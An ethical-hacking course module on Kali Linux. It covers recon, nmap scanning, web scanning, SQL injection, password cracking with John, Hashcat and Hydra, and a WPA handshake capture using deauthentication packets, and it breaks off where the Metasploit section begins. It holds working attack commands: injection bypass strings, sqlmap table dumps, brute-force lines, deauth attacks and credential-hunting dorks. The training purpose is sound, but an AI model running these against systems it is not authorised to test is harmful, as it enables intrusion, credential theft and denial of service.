Day 3: Kali Linux Mastery Guide

A Complete One-Day Journey to Ethical Hacking and Security Testing

---

Introduction: Why Kali Linux?

Kali Linux represents yet another Linux philosophy—one focused entirely on **security testing, penetration testing, and digital forensics**. Unlike Puppy (efficiency) or Tails (anonymity), Kali is designed for **offensive security professionals and ethical hackers**.

What Makes Kali Unique:

- 600+ pre-installed security tools
- Built by Offensive Security (creators of OSCP certification)
- Designed for penetration testing and security auditing
- Tools organized by attack methodology
- Regular updates with latest security tools
- Used by security professionals worldwide
- Based on Debian (stable, well-documented)

Today's Learning Goals:

- Understand ethical hacking and legal boundaries
- Master reconnaissance and information gathering
- Learn network scanning and vulnerability assessment
- Explore web application security testing

- Understand wireless security testing
- Practice password cracking and cryptanalysis
- Conduct safe, legal security assessments
- Build a security testing methodology

Time Required: 6-8 hours (with breaks)

CRITICAL LEGAL WARNING:

You MUST have explicit written permission before testing any system you don't own.

Unauthorized access to computer systems is illegal under:

- Computer Fraud and Abuse Act (USA)
- Computer Misuse Act (UK)
- Similar laws in virtually every country

Today's exercises use:

- Your own systems only
- Intentionally vulnerable practice environments
- Simulated targets designed for learning
- Legal, ethical testing scenarios

Never test on:

- Systems you don't own
- Networks you're not authorized to test
- Websites without written permission

- Any target without explicit consent

Ethical hacking = Legal permission + technical skills + responsible disclosure

---

Morning Session (8:00 AM - 12:00 PM)

Hour 1: Understanding Penetration Testing Methodology (8:00 - 9:00 AM)

Before touching any tools, you must understand the process and ethics of security testing.

The Penetration Testing Lifecycle

1. Pre-Engagement:

- Define scope (what can be tested)
- Obtain written authorization
- Establish rules of engagement
- Set timeline and deliverables
- **Without this: It's hacking, not testing**

2. Information Gathering (Reconnaissance):

- Passive reconnaissance (no direct contact)
- Active reconnaissance (scanning, probing)
- OSINT (Open Source Intelligence)
- Goal: Understand target infrastructure

3. Threat Modeling:

- Identify potential attack vectors

- Prioritize targets
- Map attack surface
- Plan approach

4. Vulnerability Analysis:

- Scan for known vulnerabilities
- Identify misconfigurations
- Find security weaknesses
- Enumerate services and versions

5. Exploitation:

- Attempt to exploit vulnerabilities
- Gain initial access
- Prove vulnerabilities are real
- **Only with explicit permission**

6. Post-Exploitation:

- Maintain access (persistence)
- Privilege escalation
- Lateral movement
- Data exfiltration (simulated)

7. Reporting:

- Document all findings

- Provide remediation advice
- Executive summary
- Technical details
- Risk ratings

Exercise 1: Ethical Hacking Scenarios (20 minutes)

Evaluate the legality and ethics of each scenario:

Scenario A: Company Hired You

- Company XYZ hires you to test their web application
- Written contract specifies scope and timeline
- Testing period: Next two weeks
- Targets: webapp.company.com only
- **Legal?** YES ✓
- **Ethical?** YES ✓
- **Proceed?** YES ✓ (with contract)

Scenario B: Your Own Network

- You want to test security of your home WiFi
- You own the router and all devices
- Only you use the network
- **Legal?** YES ✓
- **Ethical?** YES ✓

- **Proceed?** YES ✓ (perfect for learning)

Scenario C: Friend Asks for Help

- Friend thinks their website is vulnerable
- No written agreement
- Friend owns the website
- **Legal?** MAYBE (verbal permission insufficient)
- **Ethical?** MAYBE (intent is good)
- **Proceed?** NO ✗ (get written permission first)

Scenario D: Bug Bounty Program

- Company offers rewards for finding vulnerabilities
- Public bug bounty program with rules
- You follow all program guidelines
- **Legal?** YES ✓ (program is authorization)
- **Ethical?** YES ✓
- **Proceed?** YES ✓ (within program rules)

Scenario E: Testing Without Permission

- You notice a website seems insecure
- No relationship with company
- You "just want to help"
- **Legal?** NO ✗ (unauthorized access)

- **Ethical?** NO ✗ (no consent)
- **Proceed?** NO ✗ (report responsibly instead)

Scenario F: School/Work Network

- You have network access as student/employee
- Want to test for vulnerabilities
- No explicit permission to test
- **Legal?** NO ✗ (access ≠ testing permission)
- **Ethical?** NO ✗ (violates trust)
- **Proceed?** NO ✗ (ask IT/security team first)

Key Takeaways:

- Access ≠ Authorization to test
- Verbal permission is insufficient
- Get it in writing, always
- When in doubt, don't test
- Report vulnerabilities responsibly

Understanding Attack Surfaces

Network Attack Surface:

- Open ports and services
- Exposed servers
- Network devices (routers, switches)

- Wireless access points
- VPN endpoints

Web Application Attack Surface:

- Input fields (forms)
- Authentication mechanisms
- Session management
- File upload functionality
- APIs and endpoints
- Third-party integrations

Physical Attack Surface:

- Physical access to devices
- USB ports
- Unlocked workstations
- Dumpster diving
- Social engineering

Human Attack Surface:

- Phishing susceptibility
- Weak passwords
- Security awareness
- Social engineering

- Insider threats

Exercise 2: Map an Attack Surface (15 minutes)

Choose a hypothetical scenario:

Small Business Website:

```
Domain: example-shop.com
Services:
- Web server (HTTPS)
- Email server
- FTP server (for uploads)
- WordPress admin panel
- Customer login portal
- Payment processing
```

Identify potential attack vectors:

Network Level:

- Port scan reveals all services
- Old FTP server might be vulnerable
- Email server configuration issues

Application Level:

- WordPress plugins (known vulnerabilities)
- SQL injection in login forms
- Cross-site scripting in comments
- Weak authentication

Human Level:

- Phishing attacks on staff
- Weak admin passwords
- Social engineering receptionists

Physical Level:

- Office access control
- Unlocked server room
- Employee workstations

Document findings: Create a simple attack surface map:

```
TARGET: example-shop.com

EXTERNAL SERVICES:
- Port 80/443: Web server
- Port 21: FTP
- Port 25: Email

WEB APPLICATIONS:
- /admin (WordPress)
- /login (Customer portal)
- /upload (File uploads)

POTENTIAL WEAKNESSES:
- FTP (unencrypted)
- WordPress (plugins?)
- User authentication
- File upload validation
```

Hour 2: First Boot and Kali Environment (9:00 - 10:00 AM)

Booting Kali Linux

1. **Select Kali from Ventoy menu**
2. **Kali Boot Menu appears:**
    - "Live system" - Run without installing
    - "Live system (fail-safe mode)" - For compatibility
    - "Live system (forensic mode)" - No disk mounting
3. **Choose "Live system"** and press Enter

What's Happening:

- Kali loads into RAM (like Puppy)
- Hardware detection
- Networking initialization
- Desktop environment loading (XFCE default)

Default Credentials (Live Mode):

- Username: `kali`
- Password: `kali`

Login Screen:

- Enter credentials
- Desktop loads (XFCE environment)

Understanding the Kali Desktop

Desktop Environment: XFCE (default) or GNOME

Top Panel:

- **Applications menu** (top-left)
- **Open application windows**
- **System indicators** (network, volume, clock)
- **Power menu** (top-right)

Key Desktop Elements:

Applications Menu Organization:

- **01 - Information Gathering** (reconnaissance tools)
- **02 - Vulnerability Analysis** (scanners)
- **03 - Web Application Analysis** (web testing)
- **04 - Database Assessment** (database security)
- **05 - Password Attacks** (credential testing)
- **06 - Wireless Attacks** (WiFi security)
- **07 - Reverse Engineering** (malware analysis)
- **08 - Exploitation Tools** (exploit frameworks)
- **09 - Sniffing & Spoofing** (network analysis)
- **10 - Post Exploitation** (maintain access)
- **11 - Forensics** (digital investigation)
- **12 - Reporting Tools** (documentation)
- **13 - Social Engineering Tools** (human attacks)

Notice the Organization: Tools are organized by **attack methodology**, not alphabetically. This teaches you the penetration testing process.

Exercise 3: Desktop Familiarization (20 minutes)

Part A: Explore Tool Categories

1. **Click Applications menu**
2. **Browse each category:**
   - Don't launch tools yet
   - Read tool descriptions

- Notice how many tools per category
- Understand the workflow

3. **Key categories to note:**
    - Information Gathering (starting point)
    - Vulnerability Analysis (finding weaknesses)
    - Exploitation (proving vulnerabilities)
    - Reporting (documenting findings)

Part B: Open Terminal

The terminal is your primary interface in Kali.

1. **Open terminal:**
    - Applications → System → Terminal
    - Or: Click terminal icon in panel
    - Or: Ctrl+Alt+T
2. **Notice the prompt:**

```
┌──(kali㉿kali)-[~]
└─$
```

- `kali㉿kali`: username@hostname
- `~`: Current directory (home)
- `$`: Regular user prompt (not root)

3. **Check your privileges:**

```bash
  whoami
  # Output: kali

  id
  # Shows: user and group memberships
```

Part C: System Information

Gather basic system information:

```bash
# Check Kali version
cat /etc/os-release

# Check kernel version
uname -a

# Check network interfaces
ip addr

# Check available disk space
df -h

# Check running processes
ps aux | head -20
```

Part D: Update System (Important)

Always update Kali before security testing:

```bash
# Update package lists
sudo apt update

# Upgrade installed packages
sudo apt upgrade -y

# This may take 5-10 minutes on first boot
```

Why Updates Matter:

- Security tools get frequent updates
- New vulnerabilities discovered daily
- Exploit databases need refreshing
- Bug fixes and improvements

Understanding Root vs. User Privileges

Modern Kali runs as regular user by default (since 2020.1)

Why the Change?

- Better security practice
- Prevents accidental system damage
- Mirrors real-world scenarios
- Use `sudo` for privileged operations

When to use sudo:

```bash
# Network scanning (needs raw sockets)
sudo nmap -sS target

# Wireless operations (needs monitor mode)
sudo airmon-ng start wlan0

# System-level operations
sudo apt install tool-name

# Some exploitation tools
sudo msfconsole
```

When NOT needed:

```bash
# Basic reconnaissance
whois domain.com

# Web application testing
nikto -h http://target

# Many vulnerability scanners
nmap -sV target
```

Hour 3: Information Gathering and Reconnaissance (10:00 - 11:00 AM)

Information gathering is the **foundation** of all security testing. The better your reconnaissance, the more effective your testing.

Passive Reconnaissance

Passive recon: Gathering information **without** directly interacting with the target.

Why passive first?

- No logs on target systems
- No alerts triggered
- Legal in most jurisdictions (public information)
- Builds knowledge before active testing

Exercise 4: WHOIS Lookups (15 minutes)

WHOIS: Database of domain registration information.

What WHOIS reveals:

- Domain owner information
- Registration dates
- Name servers
- Contact information
- IP ranges

Practice with public domain:

```bash
```

```
# WHOIS lookup
whois example.com

# Information revealed:
# - Registrar
# - Registration date
# - Expiration date
# - Name servers
# - Sometimes: Registrant details
```

Try multiple domains:

```bash
whois google.com
whois github.com
whois kali.org
```

Notice the differences:

- Some use privacy protection (hidden details)
- Others show full information
- Different registrars, different data

What attackers learn from WHOIS:

- Company infrastructure
- Related domains
- Email addresses for phishing
- Registration patterns

- Potential expired domains

Defensive takeaway:

- Use domain privacy protection
- Use business email, not personal
- Monitor domain expiration
- Consistent registration info

DNS Reconnaissance

DNS (Domain Name System): Translates names to IP addresses.

What DNS reveals:

- IP addresses of servers
- Subdomain structure
- Mail server locations
- Load balancers
- CDN usage

Exercise 5: DNS Enumeration (20 minutes)

Tool: dig (Domain Information Groper)

```
bash
```

```
# Basic DNS lookup
dig example.com

# Get just the answer
dig example.com +short

# Specific record types
dig example.com A      # IPv4 address
dig example.com AAAA   # IPv6 address
dig example.com MX     # Mail servers
dig example.com NS     # Name servers
dig example.com TXT    # Text records

# All records
dig example.com ANY
```

Practice with real domain:

```bash
# Look up Google's DNS
dig google.com

# Find mail servers
dig google.com MX

# Name servers
dig google.com NS
```

Subdomain Enumeration:

Subdomains often reveal organizational structure:

```bash
# Try common subdomains manually
dig www.example.com
dig mail.example.com
dig ftp.example.com
dig vpn.example.com
dig dev.example.com
dig staging.example.com
dig test.example.com
```

Automated subdomain discovery (use responsibly):

```bash
# DNSenum (installed in Kali)
dnsenum example.com

# This will:
# - Query name servers
# - Try zone transfer (usually fails)
# - Brute force subdomains
# - Check wildcard DNS
```

What you discover:

- Web servers (www, www2)
- Mail infrastructure (mail, smtp, imap)
- Development servers (dev, staging, test)
- VPN endpoints (vpn, remote)

- File servers (ftp, files)
- Internal naming conventions

Search Engine Reconnaissance

Google Dorking: Using advanced search operators to find sensitive information.

Exercise 6: Google Dorks (15 minutes)

Important: Use only for learning/research. Don't access sensitive data.

Basic Google operators:

```
site:       Search specific domain
filetype:   Search for file types
inurl:      Search in URL
intitle:    Search in page title
intext:     Search in page text
cache:      View cached version
```

Practice searches (safe examples):

```
# Find PDF files on a domain
site:example.com filetype:pdf

# Find login pages
site:example.com inurl:login

# Find admin panels
site:example.com inurl:admin

# Find exposed directories
site:example.com intitle:"index of"

# Find specific file types
site:example.com filetype:xls
site:example.com filetype:doc
```

What attackers find with Google dorks:

- Exposed configuration files
- Database backups
- Directory listings
- Login portals
- Sensitive documents
- Version information
- Error messages with system details

Famous Google dorks (educational only):

```
# Exposed cameras (don't access!)
intitle:"webcamXP 5"

# Exposed databases
intitle:"phpMyAdmin" inurl:"index.php"

# Configuration files
filetype:env "DB_PASSWORD"

# Backup files
filetype:sql "INSERT INTO"
```

Defensive lessons:

- Don't index sensitive pages (robots.txt)
- Don't put sensitive data on public servers
- Use authentication on admin panels
- Monitor what Google has indexed about you
- Request removal of sensitive cached pages

OSINT (Open Source Intelligence)

OSINT: Intelligence from publicly available sources.

Sources:

- Social media (LinkedIn, Twitter, Facebook)
- Company websites and blogs
- Job postings (reveal technologies used)

- GitHub repositories (code, credentials)
- Pastebin and leak sites
- Public documents and filings
- News articles and press releases

Exercise 7: OSINT Framework (10 minutes)

Tool: TheHarvester

Gathers emails, names, subdomains, IPs from public sources.

```bash
# Install if needed
sudo apt install theharvester

# Basic usage
theHarvester -d example.com -b google

# Multiple sources
theHarvester -d example.com -b all

# Save results
theHarvester -d example.com -b google -f output.html
```

Sources available:

- `-b google`: Google search
- `-b bing`: Bing search
- `-b linkedin`: LinkedIn profiles

- `-b twitter`: Twitter mentions
- `-b all`: All sources

What you gather:

- Email addresses (for phishing)
- Employee names (for social engineering)
- Subdomains (attack surface)
- IP addresses (network mapping)

Real-world OSINT:

- LinkedIn: Technologies used, employee count, hiring
- GitHub: Code repositories, hardcoded secrets
- Job postings: "Experience with Oracle 11g required"
- Social media: Employee names, roles, locations

Hour 4: Active Reconnaissance and Network Scanning (11:00 AM - 12:00 PM)

Active reconnaissance: Direct interaction with the target.

Warning: Active scanning **will be logged**. Only scan systems you own or have permission to test.

Port Scanning with Nmap

Nmap (Network Mapper): The industry-standard port scanner.

What port scanning reveals:

- Open ports (services running)

- Service versions
- Operating system
- Firewall rules
- Network topology

Exercise 8: Nmap Basics (30 minutes)

For practice, scan your own system:

```bash
# Find your IP address
ip addr show

# Scan yourself (safe for learning)
nmap localhost

# Or scan your own IP
nmap 192.168.1.X  # Replace with your IP
```

Nmap Scan Types:

1. TCP Connect Scan (Safe, Slow)

```bash
nmap -sT target
# Completes three-way handshake
# Most detectable
# No root needed
```

2. SYN Scan (Stealth, Fast)

bash

```bash
sudo nmap -sS target
# Half-open scan
# Doesn't complete handshake
# Less detectable
# Requires root
```

3. UDP Scan

bash

```bash
sudo nmap -sU target
# Scans UDP ports
# Slower than TCP
# Important for DNS, SNMP, DHCP
```

4. Version Detection

bash

```bash
nmap -sV target
# Probes services for version info
# Takes longer
# Very useful for vulnerability assessment
```

5. OS Detection

bash

```bash
sudo nmap -O target
# Fingerprints operating system
# Requires root
# Not always accurate
```

6. Aggressive Scan

bash

```bash
sudo nmap -A target
# Combines: -O -sV -sC --traceroute
# Comprehensive but noisy
# Triggers lots of IDS alerts
```

Common Nmap Options:

bash

```
# Scan specific ports
nmap -p 80,443 target

# Scan port range
nmap -p 1-1000 target

# Scan all ports
nmap -p- target

# Fast scan (top 100 ports)
nmap -F target

# Save output
nmap -oN output.txt target
nmap -oX output.xml target
```

Practice Scenarios:

Scenario 1: Quick Host Discovery

bash

```
# Find live hosts on your network
sudo nmap -sn 192.168.1.0/24
# Ping scan, no port scan
# Discovers live hosts only
```

Scenario 2: Web Server Analysis

bash

```
# Scan web ports
nmap -p 80,443,8080,8443 target

# With version detection
nmap -sV -p 80,443 target
```

Scenario 3: Comprehensive Scan

```bash
# Full scan with all info
sudo nmap -sS -sV -O -p- target -oN scan_results.txt

# This will take a while on all 65535 ports!
```

Understanding Nmap Output:

```
PORT     STATE    SERVICE    VERSION
22/tcp   open     ssh        OpenSSH 8.2p1
80/tcp   open     http       Apache 2.4.41
443/tcp  open     ssl/http   Apache 2.4.41
3306/tcp closed   mysql
8080/tcp filtered http-proxy
```

Port states:

- **open:** Service accepting connections
- **closed:** Port accessible but no service
- **filtered:** Firewall blocking (can't determine)

What attackers learn:

- SSH open → Try brute force or exploit SSH
- Apache 2.4.41 → Search for known vulnerabilities
- MySQL closed → Database exists but not exposed
- Filtered port → Firewall present

Nmap Scripting Engine (NSE)

NSE: Powerful scripts for vulnerability detection.

```bash
# List available scripts
ls /usr/share/nmap/scripts/

# Search for specific scripts
ls /usr/share/nmap/scripts/ | grep http

# Use default scripts (safe)
nmap -sC target

# Use specific script
nmap --script=http-headers target

# Multiple scripts
nmap --script=http-enum,http-headers target
```

Useful NSE scripts:

```bash
```

```
# HTTP enumeration
nmap --script=http-enum -p 80 target

# SMB enumeration
nmap --script=smb-os-discovery target

# Vulnerability scanning
nmap --script=vuln target

# Brute force (use carefully!)
nmap --script=ssh-brute target
```

Exercise: Scan a Vulnerable VM

If you have access to vulnerable VMs (Metasploitable, DVWA):

```bash
# Comprehensive scan
sudo nmap -sS -sV -sC -O target_vm_ip -oN vuln_scan.txt

# Analyze results:
# - What services are running?
# - What versions detected?
# - Any obvious vulnerabilities?
# - What attack vectors exist?
```

Lunch Break (12:00 PM - 1:00 PM)

Take a real break! Step away from the computer.

Reflection Questions:

- What surprised you about information gathering?
- How much can be learned without touching a target?
- What ethical considerations matter most?
- How would you defend against reconnaissance?

Security Note:

- Don't discuss specific targets you've scanned
- Don't share vulnerability findings publicly
- Consider the ethics of what you're learning
- Always obtain permission before testing

Afternoon Session (1:00 PM - 5:00 PM)

Hour 5: Vulnerability Assessment (1:00 - 2:00 PM)

After reconnaissance, identify specific vulnerabilities.

Web Application Vulnerability Scanning

Common web vulnerabilities:

- SQL Injection
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
- Authentication bypasses

- File upload vulnerabilities
- Directory traversal
- Insecure configurations

Exercise 9: Nikto Web Scanner (20 minutes)

Nikto: Web server scanner that checks for dangerous files, outdated servers, and configuration issues.

Setup Practice Target:

For safe practice, we'll scan a deliberately vulnerable web application.

Option 1: DVWA (Damn Vulnerable Web Application)

```bash
# Install DVWA (if not already)
sudo apt install dvwa

# Start web server
sudo systemctl start apache2
sudo systemctl start mysql

# Access DVWA
# Open browser: http://localhost/dvwa
# Default login: admin / password
```

Option 2: Scan a test site (with permission)

```bash
```

```
# Scan localhost (your own system)
nikto -h http://localhost

# Scan specific port
nikto -h http://localhost:8080

# Save output
nikto -h http://localhost -o nikto_scan.txt
```

Understanding Nikto Output:

```
+ Server: Apache/2.4.41
+ Retrieved x-powered-by header: PHP/7.4.3
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found
+ Server may leak inodes via ETags
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
```

What this reveals:

- Server software and version
- PHP version (look for vulnerabilities)
- Missing security headers
- Allowed HTTP methods
- Directory structure

Common findings:

- Default files still present

- Outdated software versions
- Missing security headers
- Backup files exposed
- Directory listings enabled

Exercise 10: Directory Busting with Dirb/Gobuster (20 minutes)

Directory busting: Find hidden directories and files on web servers.

Tool: dirb (included in Kali)

```bash
# Basic scan
dirb http://localhost

# Use specific wordlist
dirb http://localhost /usr/share/wordlists/dirb/common.txt

# Look for specific extensions
dirb http://localhost -X .php,.html,.txt
```

Tool: Gobuster (faster alternative)

```bash
```

```
# Install if needed
sudo apt install gobuster

# Directory busting
gobuster dir -u http://localhost -w /usr/share/wordlists/dirb/common.txt

# With extensions
gobuster dir -u http://localhost -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

# Faster with more threads
gobuster dir -u http://localhost -w /usr/share/wordlists/dirb/common.txt -t 50
```

Common wordlists in Kali:

```bash
# View available wordlists
ls /usr/share/wordlists/

# Common directories
/usr/share/wordlists/dirb/common.txt

# Big directory list
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# Web content
/usr/share/seclists/Discovery/Web-Content/
```

What you might find:

- /admin (administration panel)
- /backup (backup files)

- /config (configuration files)
- /uploads (user uploads)
- /test (development files)
- /.git (exposed git repository)
- /phpinfo.php (PHP information disclosure)

Real-world example findings:

- WordPress: /wp-admin, /wp-content, /wp-includes
- Joomla: /administrator
- Common: /admin, /login, /dashboard, /api

SQL Injection Basics

SQL Injection: Inserting malicious SQL code into application queries.

How it works:

```sql
# Normal query:
SELECT * FROM users WHERE username='admin' AND password='pass123'

# Injected input in username field: admin' OR '1'='1
# Resulting query:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='pass123'

# '1'='1' is always true, so authentication bypassed!
```

Exercise 11: SQL Injection Detection (15 minutes)

Using DVWA (if setup) or conceptually:

Test for SQL injection:

1. **Login form testing:**

```
Username: admin' OR '1'='1
Password: anything

# If vulnerable, you'll log in
```

2. **URL parameter testing:**

```
http://target/product.php?id=1'

# If error message appears with SQL syntax, vulnerable
```

3. **Common injection strings:**

```
'
"
`
"
)
')
")
OR 1=1--
' OR 'a'='a
admin'--
') OR ('1'='1
```

SQLMap (Automated SQL Injection)

```bash
# Test URL for SQL injection
sqlmap -u "http://target/page.php?id=1"

# Enumerate databases
sqlmap -u "http://target/page.php?id=1" --dbs

# Dump specific database
sqlmap -u "http://target/page.php?id=1" -D database_name --tables

# Dump table contents
sqlmap -u "http://target/page.php?id=1" -D database_name -T users --dump
```

Warning: SQLMap is powerful and can damage databases. Only use on systems you own or have explicit permission to test.

Hour 6: Password Attacks and Cryptanalysis (2:00 - 3:00 PM)

Weak passwords are one of the most common vulnerabilities.

Password Cracking Fundamentals

Attack types:

1. **Dictionary Attack**
   - Try words from wordlist
   - Fast, good success rate
   - Effective against common passwords

2. **Brute Force**
    - Try all possible combinations
    - Slow but comprehensive
    - Time depends on password length
3. **Rule-Based Attack**
    - Dictionary + rules (append numbers, capitalize, etc.)
    - Balances speed and coverage
    - Mimics human password behavior
4. **Rainbow Tables**
    - Pre-computed hashes
    - Very fast lookup
    - Defeated by salting

Exercise 12: Hash Identification and Cracking (25 minutes)

Step 1: Understand Password Hashing

```bash
# MD5 hash (weak, don't use in production)
echo -n "password123" | md5sum
# Output: 482c811da5d5b4bc6d497ffa98491e38

# SHA256 hash (better)
echo -n "password123" | sha256sum
# Output: ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f
```

Step 2: Create Practice Hashes

bash

```bash
# Create some test hashes
echo -n "admin" | md5sum > hash1.txt
echo -n "password" | md5sum > hash2.txt
echo -n "123456" | md5sum > hash3.txt
```

Step 3: Use John the Ripper

bash

```bash
# Crack MD5 hash
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash1.txt

# Show cracked passwords
john --show hash1.txt

# Crack with rules
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt --rules hash2.txt
```

Step 4: Use Hashcat (GPU-accelerated)

bash

```
# Identify hash type
hashcat --example-hashes | grep -i md5

# Crack MD5 hash
hashcat -m 0 -a 0 hash1.txt /usr/share/wordlists/rockyou.txt

# Hash modes:
# -m 0: MD5
# -m 100: SHA1
# -m 1000: NTLM
# -m 1400: SHA256
# -m 1800: SHA512
```

Understanding rockyou.txt:

```bash
# Rockyou is famous wordlist (14 million passwords)
wc -l /usr/share/wordlists/rockyou.txt

# Extract if compressed
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

# View most common passwords
head -20 /usr/share/wordlists/rockyou.txt
```

Common passwords you'll see:

```
123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
```

Exercise: Password Strength Analysis

```
bash
```

```
# Create test password hashes
echo -n "password" | md5sum > weak.txt
echo -n "P@ssw0rd123!" | md5sum > medium.txt
echo -n "Tr0ub4dor&3" | md5sum > strong.txt
echo -n "correcthorsebatterystaple" | md5sum > passphrase.txt

# Try cracking each
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt weak.txt
# Cracks instantly

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt medium.txt
# Takes longer, might not crack

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt strong.txt
# Unlikely to crack with dictionary

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt passphrase.txt
# Might crack if common phrase
```

Password Security Lessons:

Weak passwords:

- Dictionary words
- Common patterns (qwerty, 123456)
- Personal info (name, birthday)
- Short length (<8 characters)

Strong passwords:

- Long (12+ characters)

- Mix of character types
- Not in dictionaries
- Unique per account
- Or: Long passphrases (correcthorsebatterystaple)

Online Password Attacks

Hydra: Network login cracker

Warning: Only test services you own or have permission to test. Online attacks are easily logged and can cause account lockouts.

Exercise 13: Understanding Hydra (Conceptual - 15 minutes)

Hydra syntax:

```bash
# SSH brute force (EXAMPLE ONLY - DON'T RUN ON REAL SYSTEMS)
hydra -l username -P /usr/share/wordlists/rockyou.txt ssh://target

# HTTP form brute force
hydra -l admin -P passwords.txt target http-post-form "/login:username=^USER^&password=^PASS^:Invalid"

# FTP brute force
hydra -l admin -P passwords.txt ftp://target

# Multiple users
hydra -L users.txt -P passwords.txt ssh://target
```

Options explained:

- `-l`: Single username
- `-L`: Username list
- `-p`: Single password
- `-P`: Password list
- `-t`: Number of parallel tasks
- `-f`: Stop after first successful login

Real-world considerations:

Defenses against brute force:

- Account lockouts (3-5 failed attempts)
- Rate limiting (delay between attempts)
- CAPTCHA requirements
- IP blocking
- Multi-factor authentication

Ethical considerations:

- Online attacks are noisy (logged)
- Can lock out legitimate users
- May violate terms of service
- Only test with explicit permission
- Better: Test authentication strength offline

Creating Custom Wordlists:

bash

```bash
# CeWL (Custom Word List generator)
# Crawls website and creates wordlist from content
cewl http://target.com -w custom_wordlist.txt

# Add common patterns
cewl http://target.com -w custom_wordlist.txt --with-numbers

# Minimum word length
cewl http://target.com -m 6 -w custom_wordlist.txt
```

Why custom wordlists?

- Target-specific terminology
- Company names
- Product names
- Employee names
- Better success rate than generic lists

Hour 7: Wireless Security Testing (3:00 - 4:00 PM)

Note: Wireless testing requires compatible WiFi adapter. We'll cover concepts and commands even if you can't practice immediately.

WiFi Security Fundamentals

WiFi security protocols:

WEP (Wired Equivalent Privacy):

- Deprecated, very weak
- Can be cracked in minutes
- Should never be used

WPA (WiFi Protected Access):

- Better than WEP
- Still vulnerable to attacks
- Deprecated

WPA2:

- Current standard
- Strong when using long passwords
- Vulnerable to offline dictionary attacks

WPA3:

- Latest standard
- Resistant to offline attacks
- Not yet universally supported

WiFi Attack Methodology

1. Monitor Mode:

- Puts WiFi adapter in monitoring mode
- Can see all wireless traffic
- Doesn't associate with network

2. Network Discovery:

- Scan for available networks
- Identify security type
- Find target network

3. Capture Handshake:

- Wait for client to connect
- Or deauthenticate client (forces reconnect)
- Capture 4-way handshake

4. Crack Password:

- Use captured handshake
- Offline dictionary attack
- No interaction with network needed

Exercise 14: Wireless Tools Overview (20 minutes)

Check WiFi adapter:

```
bash
```

```
# List network interfaces
iwconfig

# Or with newer tools
ip link show

# Look for wireless interface (wlan0, wlan1, etc.)
```

Aircrack-ng Suite:

The industry-standard WiFi security tools.

1. Airmon-ng (Enable monitor mode)

bash

```bash
# Check for interfering processes
sudo airmon-ng check

# Kill interfering processes
sudo airmon-ng check kill

# Enable monitor mode
sudo airmon-ng start wlan0
# Creates wlan0mon interface

# Verify monitor mode
iwconfig wlan0mon
```

2. Airodump-ng (Capture packets)

bash

```
# Scan all channels
sudo airodump-ng wlan0mon

# Focus on specific channel
sudo airodump-ng -c 6 wlan0mon

# Capture to file
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
```

Understanding airodump output:

```
BSSID              PWR  CH  ENC  ESSID
AA:BB:CC:DD:EE:FF  -50   6  WPA2 HomeNetwork
11:22:33:44:55:66  -70  11  WPA2 OfficeWiFi
```

- **BSSID:** MAC address of access point
- **PWR:** Signal strength
- **CH:** Channel number
- **ENC:** Encryption type
- **ESSID:** Network name

3. Aireplay-ng (Inject packets)

```bash
```

```bash
# Deauthentication attack (capture handshake)
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# -a: Access point MAC
# 10: Number of deauth packets
```

4. Aircrack-ng (Crack password)

```bash
# Crack captured handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

# -w: Wordlist
# -b: BSSID (target network)
# capture-01.cap: Captured handshake file
```

Complete WiFi Attack Workflow (Conceptual)

Step-by-step process:

```bash
```

```
# 1. Enable monitor mode
sudo airmon-ng start wlan0

# 2. Discover networks
sudo airodump-ng wlan0mon
# Note: Target BSSID, channel, and ESSID

# 3. Capture handshake
# Terminal 1: Start capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Terminal 2: Force client reconnection
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# Wait for "WPA handshake: AA:BB:CC:DD:EE:FF" message

# 4. Crack password (offline)
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

# 5. Disable monitor mode
sudo airmon-ng stop wlan0mon
```

Important notes:

Legal considerations:

- Deauthentication is a denial of service attack
- Only test networks you own
- Capturing handshakes can be passive (waiting)
- Cracking is offline (legal on your own network)

Success factors:

- Password must be in wordlist
- Need complete 4-way handshake
- Strong passwords won't crack
- WPA3 resistant to this attack

Defense recommendations:

- Use WPA3 if available
- Long, random passwords (20+ characters)
- Disable WPS
- MAC filtering (minor security)
- Hide SSID (security through obscurity, weak)

Exercise 15: WiFi Security Assessment (15 minutes)

Assess your own network security:

Questions to answer:

1. What security protocol? (WEP/WPA/WPA2/WPA3)
2. How strong is your password?
3. Is WPS enabled? (vulnerable to brute force)
4. Are you broadcasting SSID?
5. Any guest network? (isolate guests)
6. Regular firmware updates?

Recommendations:

- Upgrade to WPA3 if supported
- Password: 20+ random characters
- Disable WPS completely
- Separate guest network (isolated)
- Regular router firmware updates
- Change default admin password

Create security checklist:

```
WIFI SECURITY CHECKLIST:
[ ] WPA2 or WPA3 enabled
[ ] Strong password (20+ characters)
[ ] WPS disabled
[ ] Default admin password changed
[ ] Firmware up to date
[ ] Guest network isolated
[ ] MAC filtering considered
[ ] Regular security audits
```

Hour 8: Exploitation and Metasploit Framework (4:00 - 5:00 PM)

Metasploit: The world's most popular penetration testing framework.

What Metasploit provides:

- Exploit database (thousands of exploits)

- Payload generation
- Post-exploitation modules
- Auxiliary modules (scanners, fuzzers)
- Consistent interface for exploitation

Exercise 16: Metasploit Console Basics (25 minutes)

Launch Metasploit:

